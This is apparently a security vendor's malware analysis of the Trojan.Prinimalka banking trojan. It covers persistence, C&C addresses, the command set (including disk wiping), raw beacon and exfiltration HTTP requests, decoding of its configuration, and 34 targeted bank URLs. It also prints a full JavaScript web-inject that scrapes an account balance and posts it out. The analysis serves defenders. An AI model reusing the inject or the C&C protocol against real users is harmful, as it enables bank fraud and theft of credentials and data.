ARBOR SERT – Trojan.Prinimalka is a banking trojan associated with an attack campaign that received quite a bit of press in October 2012. “Project Blitzkrieg” is “a new cybecriminal [sic] project aimed at recruiting 100 botmasters to help launch a series of lucrative online heists targeting 30 U.S. banks. The Trojan installs a proxy on the victim host and then sends system/web browser details back to the C&C. The botmasters can use this setup to “spoof” banking requests as the unsuspecting banking user.
Trojan.Prinimalka is based on Gozi and shares quite a few similarities. There are at least 2 variants in the wild: “nah” and “gov”. This analysis focuses on the “gov” version. Static analysis was performed on a memory dump of a sample (MD5: 2bdb44e5e3bbcebf3f0ceb156a407794). It was supplemented with some dynamic analysis using C&Cs located at 193.xxx.92.xxx (as of writing, still live) and 213.155.28.104.
Registry Persistence
A value named “govShell” is created under the “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” key. It stores “%UserProfile%\govXXXX.exe”-the “X”s are random lowercase letters. This is a standard registry persistence technique where the program will run on user login.
Mutexes
A mutex named “sdfsdfsdfsdfsfsdfsdfsdfsdfsdf” is created.
Dropped Files
- %UserProfile%\govXXXX.exe-the “X”s are random lowercase letters
- %UserProfile%\govtemp1.exe
- %UserProfile%\govold.exe
- %UserProfile%\govcookies.txt
- %CD%\govcookies.dat
Registry Configuration
Under the “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion” key, various configuration values with a “gov” prefix are maintained.
Registry Value | Description | Sample |
govid | Randomly generated 10 digit identifier | 33520xxxxx |
govoptions | Obfuscated configuration file | NEWOPTS<obfuscated data> |
govopt_server1 | Primary C&C address | 93.115.241.114 |
govopt_reserv | Secondary C&C address | 93.115.241.114 |
govopt_forms | Relative C&C URL to POST System/Web Browser cloning info to | /system/prinimalka.py/forms |
govopt_options | Relative C&C URL to GET configuration data | /system/prinimalka.py/options |
govopt_command | Relative C&C URL to GET command data | /system/prinimalka.py/command |
govopt_file | Relative C&C URL for unknown data | /system/prinimalka.py/cookies (looks unused in this sample) |
govopt_ss | Relative C&C URL for unknown data | /cgi-bin/trash.py (looks unused in this sample) |
govopt_pstorage | Relative C&C URL for unknown data | /cgi-bin/trash.py (looks unused in this sample) |
govopt_certs | Relative C&C URL for unknown data | /cgi-bin/trash.py (looks unused in this sample) |
govopt_idproject | Version | 081003 |
govopt_pauseopt | Poll time | 3200 |
govcontrol_crc | CRC | 34661b26 |
govbalance | Controls reverse connection to C&C | Ok |
Bindshell
“cmd.exe” is bound to “127.0.0.1” on a random port. The bindshell is used in conjunction with the Type 2 “TELN” command.
Proxy
A basic proxy is bound to “127.0.0.1” on a random port-bindshell’s random port minus 1. The proxy is used in conjunction with the Type 2 “SCKS” command. RSA indicates that the C&C backend has the ability to make web requests to banking websites via the infected host.
C&C Command Channel, Type 1
A Type 1 command request looks like this.
GET /system/prinimalka.py/command?user_id=33520xxxxx&version_id=022201&crc=00000000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: 213.155.28.104 |
The returned command grammar has the following format.
#command\r\n command1 <parameter>\r\n command2 <parameter>\r\n . commandN <parameter>\r\n
Example: HTTP/1.1 200 OK Date: Wed, 17 Oct 2012 13:00:02 GMT Server: Apache/2.2.22 (Fedora) Content-Length: 39 Connection: close Content-Type: text/plain; charset=UTF-8 #command send_cookies changepause 900 |
Here are the identified commands.
Command | Description |
deleteself | Delete binary and registry persistence |
download | Download to and execute “%UserProfile%\govtemp1.exe” |
update | Copy current version to “%UserProfile%\govold.exe” and download new version |
killwin | Overwrite first 4 bytes of “\\.\PHYSICALDRIVE0” then shutdown |
changeversion | Update “govopt_idproject” registry value |
changehost | Update “govopt_server1” registry value; primary C&C |
changereserv | Update “govopt_reserv” registry value; secondary C&C |
changepause | Update “govopt_pauseopt” registry value |
enable_backconnect | Set “govbalance” registry value to “ok”. Enables reverse connection to C&C for Type 2 command channel |
send_cookies | Dump browser cookies via “ExportCookieFile()” into “%UserProfile%\govcookies.txt” then POST to C&C |
recv_cookies | Download browser cookies from C&C into “%CD%\govcookies.dat” then imports them via “ImportCookieFile()” |
enable_rdp | Doesn’t look to be implemented in this sample. |
C&C Command Channel, Type 2
The Type 2 command channel is a reverse connection from the victim host back to the C&C. It is enabled by the Type 1 “enable_backconnect” command. There isn’t much of a format, the victim host reads 4 bytes from the socket and checks them against the following identified commands.
Command | Description |
ping | Respond to C&C with “pong” |
NEED | Ask C&C for any Type 1 commands |
RDP0 | Doesn’t look to be implemented in this sample. |
SCKS | Connects to the proxy running on localhost and relays traffic (to bypass NAT/firewall) |
TELN | Connects to the bindshell running on localhost and relays traffic (to bypass NAT/firewall) |
Configuration
There is an 81 byte obfuscated configuration file stored in the binary. It is copied to the “govoptions” registry value. Using corkami’s aplib compression library, the obfuscation can be cleaned up.
>>> import aplib>>> govoptions =’NEWOPTS\x001\x01rep_siz\xdb\x87\xac\x04w\xf8b\xa4\x0c@0pzoWt\r{\xf9\\\x0bv}b>cr\x1cpt\x1c \x1b3y\x83w\x0e\x02.go<\xdfl;\xbbc\xb8m*G\x0b\xe0H\xc5\x0eyu\x1b\t\x02\x00\x00′>>> s, len = aplib.decompress(govoptions[8:]).do() >>> s.split(“\x00″) [‘1rep_size’, ‘1’, ‘1web_size’, ‘0’, ‘1post_size’, ‘0’, ‘1ss_size’, ‘0’, ‘1vbscript’, ‘ ‘, ‘3rep’, ‘www.google.com’, ‘Google’, ‘Hooyugle’, ”, ”, ”] |
Here are the identified configuration verbs.
Verb | Description |
1rep_size | Number of 3rep sections |
1web_size | Number of 4webvalue sections |
1post_size | Number of 3postvalue sections |
1ss_size | Number of 2ss sections |
1vbscript | Currently unknown |
3rep | Define a find and replace rule |
4webvalue | Looks to be unused in this sample |
3postvalue | Looks to be unused in this sample |
2ss | Looks to be unused in this sample |
An updated, obfuscated configuration file can be requested from the C&C like this.
GET /system/prinimalka.py/options?user_id=33520xxxxx&version_id=022201&crc=34661b26&uptime= 00:00:00:59&port=5641&ip= HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: 193.xxx.92.xxx |
The “3rep” sections of the configuration file define “find and replace” rules. These are used with the web browser function-hooking feature to secretly add code to banking websites. At the time of writing, 34 bank URLs are being targeted:
- -investing.schwab.com/trading/start
- -www.schwab.com
- bankofamerica.com/accounts-overview/accounts-overview.go
- chaseonline.chase.com/MyAccounts.aspx
- client.schwab.com/Accounts/Summary/Summary
- etrade.com/e/t/accounts/accountscombo
- fidelity.com/ftgw/fbc/ofsummary/defaultPage
- ibanking-services.com/cib/CEBMainServlet/AccountOverview
- investing.schwab.com/secure/schwab/
- investor.firstrade.com/firstrade/mainmenu.do
- myaccountsaws.navyfcu.org/nfoaa/main
- online.citibank.com/US/JPS/portal/Home.do
- online.wamu.com/Servicing/Servicing.aspx?targetPage=AccountSummary
- online.wellsfargo.com/das/cgi-bin/session.cgi
- onlineaccess.ncsecu.org/accounts/balances.aspx
- onlinebanking.capitalone.com/CapitalOne/Accounts/
- onlinebanking.huntington.com/Accounts/Accounts.asp
- onlinebanking.mandtbank.com/summary/AccountSummary.aspx
- onlinebanking.pnc.com/alservlet/
- onlinebanking.tdbank.com/accts/getAccts.asp?fname=
- secure.accurint.com
- securebank.regions.com/balances/AccountSummary.aspx
- sharebuilder.com/sharebuilder/Home.aspx
- suntrust.com/portal/server.pt
- trading.scottrade.com/home/default.aspx
- us.hsbc.com/1/2/
- usaa.com/inet/ent_home/CpHome
- usbank.com/internetBanking/RequestRouter
- wachovia.com/MyAccounts.aspx
- www.53.com/servlet/efsonline/index.html
- www.americanfunds.com/account/account-summary.htm
- www.optionsxpress.com/
- www.paypal.com/us/cgi-bin/webscr
- wwws.ameritrade.com/cgi-bin/apps/u/Home
A sample find and replace rule looks like this.
>>> config[10]’3rep’>>> config[11] # URL’fidelity.com/ftgw/fbc/ofsummary/defaultPage’ >>> config[12] # Find ‘</html>’ >>> for line in config[13].split(“\r\n”): # Replace . print line . </html> <div style=”visibility: hidden”> <iframe name=”myframe” id=”myframe”></iframe> <form name=xbalance method=’POST’ action=’/robots.txt’ target=myframe><input name=balance><input name=from><input name=lastlogin value=”0″></form> </div><script language=”JavaScript”> var data = document.body.innerHTML; var reg = /Portfolio Total:[\d\D]{1,128}(\$[\d\,\.]+)/gmi; var arr = reg.exec(data); if (arr) { var postdata = arr[1]; var f = document.xbalance; f.from.value = “fidelity”; f.balance.value = postdata; f.submit(); } </script> |
As can be seen, code is added to the end of the page to POST balance, bank name, and last login information to “/robots.txt”. The “/robots.txt” is used as a tag, see below.
Process Injection and Function Hooking
The Trojan injects part of itself into all running processes except for those with an image name starting with:
- svchost.exe
- [System Process]
- System
- smss.exe
- winlogon.exe
- lsass.exe
- avp
- csrss.exe
- services.exe
The injected function is responsible for hooking the following functions.
kernel32.dll | advapi32.dll | wininet.dll | nspr4.dll |
CreateProcessA | RegEnumValueA | InternetCloseHandle | PR_Write |
CreateProcessW | RegEnumValueW | InternetQueryDataAvailable | PR_Read |
FindFirstFileA | InternetReadFile | PR_Close | |
FindFirstFileW | InternetReadFileExA | ||
FindNextFileA | HttpSendRequestA | ||
FindNextFileW | HttpSendRequestW |
The CreateProcess hooks make sure any new processes are injected.
The FindXFile hooks hide any files that start with “gov”.
The RegEnumValue hooks hide any registry values that start with “gov”.
The InternetReadFile and PR_Read hooks are used to rewrite pieces of returned banking websites based on the “3rep” rules in the configuration file.
The HttpSendRequest and PR_Write functions look for the “/robots.txt” tag introduced by the “3rep” rewrite rules. They then POST the HTTP request and cookie file to the C&C.
System/Web Browser Cloning
RSA indicates that the C&C backend has the ability to clone a victim’s web browser while sending requests through the victim host’s proxy. The following shows the type of data the trojan gathers for this feature.
POST /system/prinimalka.py/forms HTTP/1.1Content-Type: multipart/form-data; boundary=———15c5175b07b5User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: 213.155.28.104 Content-Length: 705 Connection: Keep-Alive Cache-Control: no-cache ———-15c5175b07b5 Content-Disposition: form-data; name=”upload_file”; filename=”33520xxxxx.022201″ Content-Type: application/octet-stream URL: http://service.stat/ priv=USER_PRIV_ADMIN&winver=Microsoft Windows XP Professional Service Pack 3 (Build 2600) 2600.xpsp.080413-2111&resolution=1024?768&UniqueID={0X8X9XFX-FXDX-4X1X-8X6X-7X0X1XDX2XDX} &NTProductId=7X4X7-OEM-2X5X6X2-X4X6X&ProductId=7X4X7-OEM-0X5X1X3-X8X4X&IEProductId=7X4X7- OEM- 0X5X1X3-X8X4X&TimeZone=Pacific Standard Time&UserAgent=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) ———-15c5175b07b5- |
Leave a reply